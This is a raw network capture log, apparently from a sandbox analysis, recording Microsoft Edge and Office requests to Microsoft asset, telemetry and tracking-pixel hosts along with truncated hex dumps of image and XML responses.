2024-11-23 08:16:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 1e58b78d-401e-0029-678d-3b9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081658Z-174c587ffdfp4vpjhC1TEBybqw00000002r0000000004ecb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:16:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49904	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:59 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:59 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:59 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: ba0503ac-c01e-0053-172a-3d7408000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081659Z-178bfbc474bh5zbqhC1NYCkdug000000040g00000000emwt Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:16:59 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49873	20.110.205.119	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:59 UTC	1175	OUT	GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=1124054842946B4F2DE61008433C6A40; _EDGE_S=F=1&SID=3A45F6F5166A64451BFDE3B517A665CA; _EDGE_V=1
2024-11-23 08:16:59 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&RedC=c.msn.com&MXFR=1124054842946B4F2DE61008433C6A40 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=1124054842946B4F2DE61008433C6A40; domain=.msn.com; expires=Thu, 18-Dec-2025 08:16:59 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Sat, 23 Nov 2024 08:16:58 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49876	18.173.219.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:59 UTC	925	OUT	GET /b?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:16:59 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 23 Nov 2024 08:16:59 GMT Location: /b2?rn=1732349818187&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=1124054842946B4F2DE61008433C6A40&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1FF9c66a78510822371cf741732349819; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1FF9c66a78510822371cf741732349819; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 77f996b8fbacf0f3f9e92ea84c0aeb9e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: h48Y87DwygPHak-rlzGfwTNNWFplzF_khIvghgXz_UWWGtQYJ4Is6w==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49906	13.107.246.40	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:16:59 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:00 UTC	536	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:59 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T081659Z-178bfbc474bscnbchC1NYCe7eg00000004c00000000053cf Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 08:17:00 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49874	204.79.197.237	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	1269	OUT	GET /c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&RedC=c.msn.com&MXFR=1124054842946B4F2DE61008433C6A40 HTTP/1.1 Host: c.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-MS-GEC: BDBB4546943F70F1372FA3CFAF3FFD5BDAA8634E71FCDE8A1D0827836E2C6EA8 Sec-MS-GEC-Version: 1-117.0.2045.55 Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:00 UTC	1700	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.msn.com/c.gif?rnd=1732349818187&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=514b73816cb24419b460befa9de20ac2&activityId=514b73816cb24419b460befa9de20ac2&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D3B49BBCE2FE436FBC01B2C47C41EB7F&MUID=1124054842946B4F2DE61008433C6A40 P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: MUID=1124054842946B4F2DE61008433C6A40; domain=.bing.com; expires=Thu, 18-Dec-2025 08:17:00 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: MR=0; domain=c.bing.com; expires=Sat, 30-Nov-2024 08:17:00 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_B=1124054842946B4F2DE61008433C6A40; domain=c.bing.com; expires=Thu, 18-Dec-2025 08:17:00 GMT; path=/; SameSite=None; Secure; Set-Cookie: SRM_M=1124054842946B4F2DE61008433C6A40; domain=c.bing.com; expires=Thu, 18-Dec-2025 08:17:00 GMT; path=/; SameSite=None; Secure; X-Powered-By: ASP.NET X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 549F8136FDD4493F943C11324A0B56AE Ref B: EWR30EDGE1021 Ref C: 2024-11-23T08:17:00Z Date: Sat, 23 Nov 2024 08:17:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49907	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 08:17:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:17:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T081700Z-178bfbc474b7cbwqhC1NYC8z4n000000041000000000ccqf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 08:17:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49877	104.117.182.59	443	6124	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 08:17:00 UTC	634	OUT	GET /tenant/amp/entityid/BB1msBhw.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 08:17:00 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 30 Oct 2024 17:09:58 GMT X-Datacenter: eastus X-ActivityId: 88c99495-42d2-4f3d-a686-d751c90e45f8 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msBhw X-Source-Length: 71145 Content-Length: 71145 Cache-Control: public, max-age=334210 Expires: Wed, 27 Nov 2024 05:07:10 GMT Date: Sat, 23 Nov 2024 08:17:00 GMT Connection: close
2024-11-23 08:17:00 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-23 08:17:00 UTC	16384	IN	Data Raw: 4a 2a 51 52 a4 ca 93 2a 59 0b 50 d1 92 8d 29 12 09 8a 21 44 82 90 a4 22 5a a4 18 52 11 2d 52 04 2d 84 6b 54 4b 85 b0 8e 14 52 04 2d 5b 0a 42 93 16 a9 0a 42 92 28 b6 14 52 45 8b 54 52 62 8b 54 52 62 8b 54 52 62 8b 54 52 62 88 94 52 0a 8b 54 52 62 c4 4a 29 05 62 35 8a 41 85 11 21 52 62 8a 28 a4 8a 28 85 49 ab 16 ac 48 62 8a 28 a4 18 59 0b 54 48 0c 05 90 8d 62 10 20 2c 84 6b 12 8b 85 11 20 24 34 12 76 02 4a 93 50 af 1c ef 5a 69 73 1c ca 06 3f d4 32 56 32 99 30 0b 03 41 b7 5a 85 b9 d9 75 74 de a3 8b 54 c7 3d 8d 7c 35 b5 3a 68 f2 dc 88 30 e3 06 d3 1d 0a df 1d c6 6b b8 b1 78 0c 9e be ff 00 37 63 a4 7b c6 c1 ce 26 0b ba 43 5a 7e fe 2b 9b 8f d7 b5 63 2c 65 c0 d6 b7 77 02 d7 87 09 b8 02 24 d5 4f 56 c1 e0 b5 9d 3b 0a fa 82 8b c7 3f d7 b4 81 80 b4 64 73 8e cc 20 30 Data Ascii: JQRYP)!D"ZR-R-kTKR-[BB(RETRbTRbTRbTRbRTRbJ)b5A!Rb((IHb(YTHb ,k $4vJPZis?2V20AZutT=\|5:h0kx7c{&CZ~+c,ew$OV;?ds 0
2024-11-23 08:17:00 UTC	2248	IN	Data Raw: 64 b7 a0 de ca de 9b b5 d1 d6 dc 5a 7f 2b dd 51 2e ce 2b e5 02 68 d8 47 3e ab b1 08 69 59 b7 f4 ae b9 d9 f3 66 d4 39 a5 d8 48 0d fc 39 80 26 1c d7 0e 42 0c 88 f6 2a 96 47 6a 1d 31 8b 77 39 d7 c8 db 93 d6 db 0e 80 ef 75 da a5 65 29 f1 e8 5d 79 01 a4 ca 22 31 c0 1c bb 49 06 77 de 22 76 dc a0 fc a6 78 00 b2 43 45 88 c8 03 b7 06 99 00 43 45 e2 3a af 63 42 94 ad d6 7c b8 03 37 a8 36 01 64 b4 72 ed 20 91 06 c4 86 75 88 88 5e 73 23 5e dc ac 3d 86 af 30 c6 e9 ec dc 09 6d f9 07 1b da f0 66 57 d0 69 2b 29 55 c3 e5 47 17 aa 65 f2 e3 3a 5c ce 8f d4 f6 90 0f 41 cc 5b 99 3f 35 32 7a 86 72 e0 f1 a6 c8 2e 36 71 9e 7f f0 e6 0a bb 4a c8 e0 b1 ff 00 1f 5f f7 3c b5 e7 4e a9 8d a6 3d 2f 2c 82 e2 1c 1a d7 16 92 64 91 54 14 c7 7a 83 df 67 68 f5 af 6e d4 96 80 db 8e 0e 99 9d 89 Data Ascii: dZ+Q.+hG>iYf9H9&B*Gj1w9ue)]y"1Iw"vxCECE:cB\|76dr u^s#^=0mfWi+)UGe:\A[?52zr.6qJ_<N=/,dTzghn
2024-11-23 08:17:00 UTC	16384	IN	Data Raw: ff 00 9f f5 47 1f 59 4b 9e 08 7e 48 74 58 0d 1b fc 94 a7 eb ba 58 90 9b 3c 10 45 1c 7e f5 b0 0f d4 a9 23 a2 20 78 2c b4 18 45 1c d1 f8 2d ef ef 49 60 68 2b 43 63 9a 2e f4 71 3d 50 98 00 09 82 38 2d 88 e4 8c 04 34 c1 6e 1f 5f 65 b3 c5 68 01 32 10 4b 0e 46 08 e2 8a 94 ca 3d bb 90 60 43 93 2a 1c 16 51 f5 84 54 15 35 1b 50 e8 a5 61 1d 08 c6 30 8f 06 69 75 84 72 3a 9f 92 6f 64 b6 80 8b 8d 4d 00 70 ea 8c 39 1d 1c 0a 67 67 c1 1e 0c d2 ab 4c ac f0 47 d9 9e 88 fb 32 8b 86 69 35 1e 89 81 c5 37 b1 4d ec 78 a2 e3 53 49 07 dd 6d 49 dd 8a 9d 90 45 6a 69 55 1e 8a 54 53 fb 30 b6 80 8a a6 93 da 1e 0a 54 7a a7 50 11 50 3e a1 5e 04 d2 83 b8 ad ad 3e 86 f1 45 40 55 c6 a2 bd 7c 56 d4 ac 76 6d 45 d9 84 55 35 5e a5 25 5a ec c2 da 02 29 8a d2 88 15 66 86 ad a1 a8 a6 69 15 29 52 Data Ascii: GYK~HtXX<E~# x,E-I`h+Cc.q=P8-4n_eh2KF=`C*QT5Pa0iur:odMp9ggLG2i57MxSImIEjiUTS0TzPP>^>E@U\|VvmEU5^%Z)fi)R
2024-11-23 08:17:01 UTC	16384	IN	Data Raw: 4f ef 14 9c 59 cb a4 9c 86 dc b2 b9 cc 3c 29 1d a4 bb c4 ae 39 03 1c c3 72 06 3b 94 c5 43 97 20 53 f1 bb 13 88 03 0d 44 ed 49 a9 de 2e 75 87 80 45 4e bf 6d 95 c2 90 ec 44 6e 4d 20 91 ff 00 e3 74 f8 94 d1 a8 38 c0 ac 0f 06 89 fd d3 95 c3 c4 89 5c f3 93 11 25 8d c2 dc 6e 1b 3b 26 5d bf c2 c1 12 a9 8d 46 50 48 a8 89 b3 bc b6 04 72 88 e6 78 2a 97 a5 3e a6 f7 08 73 5e db f9 1c 29 e9 f8 28 02 3d d1 7e d3 16 15 39 a4 44 90 dc 22 fc 23 09 6e dd 61 79 81 58 8e d4 36 1d b1 88 27 da 91 7e e4 dc 7f 96 aa 09 78 89 bc 8e 43 6b b6 e3 dd 34 3d 33 75 59 f3 09 6b 8b ae 7f 86 72 62 64 8e 03 1b 2a 77 75 93 c6 48 96 64 69 0f bd 9c 03 8f b1 73 cc 7f 74 15 e4 f2 65 15 09 86 8b f9 40 0d 2d 23 63 0d de 78 47 15 1b 9b 19 8a de 1d 7b 17 0e d2 3c 0c 3c 4f 8a 6a 7a b7 eb 7b 31 ff 00 Data Ascii: OY<)9r;C SDI.uENmDnM t8\%n;&]FPHrx>s^)(=~9D"#nayX6'~xCk4=3uYkrbdwuHdiste@-#cxG{<<Ojz{1
